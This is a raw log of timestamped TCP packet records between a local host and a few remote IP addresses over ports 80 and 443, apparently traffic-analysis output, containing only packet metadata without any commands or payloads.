Nov 16, 2024 13:01:38.387708902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387717009 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387717009 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387739897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387756109 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387770891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387784958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387794971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387805939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387830019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387830973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387893915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387908936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387918949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387928009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387938023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387948036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.387978077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.387978077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388024092 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388062000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388072014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388082027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388092041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388102055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388120890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388120890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388139963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388175011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388179064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388187885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388195992 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388199091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388226032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388256073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388273001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388297081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388308048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388318062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388339996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388349056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388360977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388403893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388403893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388508081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388519049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388529062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388540030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388582945 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388582945 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388623953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388633966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388644934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388654947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388663054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388705015 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388746023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388756990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388767004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388776064 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388786077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388812065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388812065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388873100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.388982058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.388993025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.389002085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.389012098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.389040947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.389040947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.389111996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.398113966 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.398150921 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.398195028 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.398222923 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.398243904 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.398272038 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.422678947 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.422704935 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.422738075 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.422758102 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.422782898 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.422802925 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.424061060 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.424083948 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.424125910 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.424140930 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.424165964 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.424369097 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.446778059 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.457354069 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.457496881 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.457588911 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.459683895 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.466634989 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.504431963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504447937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504456043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504532099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504586935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504596949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504605055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504612923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504621983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504631042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504640102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504647970 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504648924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504659891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504671097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504678965 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504681110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504689932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504698992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504709005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504719019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504722118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504722118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504729033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504770041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504770041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504827976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504842043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504851103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504858971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504868984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504877090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504885912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504885912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504885912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504900932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504910946 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504919052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504930019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504934072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504934072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504940033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504951000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504960060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504971027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504978895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.504982948 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.504982948 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505019903 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505019903 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505038977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505069971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505078077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505108118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505108118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505114079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505124092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505131960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505167007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505208015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505217075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505222082 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505251884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505254984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505261898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505271912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505281925 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505322933 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505322933 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505357981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505366087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505374908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505410910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505410910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505419970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505435944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505461931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505538940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505544901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505553007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505561113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505569935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505605936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505605936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505810022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505819082 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505829096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505839109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505847931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505856991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505866051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505873919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505878925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505881071 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505881071 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505912066 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505938053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.505939960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505949974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505958080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505968094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505976915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505986929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.505997896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506028891 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506028891 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506202936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506211042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506221056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506228924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506237984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506247044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506257057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506262064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506262064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506272078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506279945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506283998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506292105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506300926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506310940 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506310940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506310940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506321907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506330967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506340027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506350040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506359100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506366014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506366014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506370068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506381989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506392002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506402969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506405115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506406069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506412983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506424904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506444931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506444931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506490946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506513119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506527901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506537914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506578922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506578922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506587982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506598949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506642103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506642103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506654024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506664038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506674051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506695032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506719112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506725073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506736040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506745100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506755114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506773949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506782055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506800890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506800890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506840944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506870985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506881952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506890059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506900072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506910086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506920099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506922007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506956100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506956100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.506963968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506974936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506984949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.506994009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507004023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507030010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507030010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507075071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507085085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507095098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507123947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507123947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507164001 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507231951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507242918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507292032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507298946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507298946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507308960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507325888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507334948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.507359028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.507373095 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508451939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508462906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508480072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508490086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508500099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508510113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508522987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508569002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508569002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508580923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508591890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508600950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508611917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508620977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508621931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508634090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508645058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508655071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508668900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508688927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508688927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508716106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508722067 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508728027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508738041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508748055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508758068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508769035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508779049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508780003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508779049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508790970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508800983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508810043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508811951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508829117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508842945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508850098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508850098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508853912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508867979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508877039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508888006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508898020 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508908033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508919954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508930922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508930922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508935928 CET	80	49802	185.215.113.206	192.168.2.5
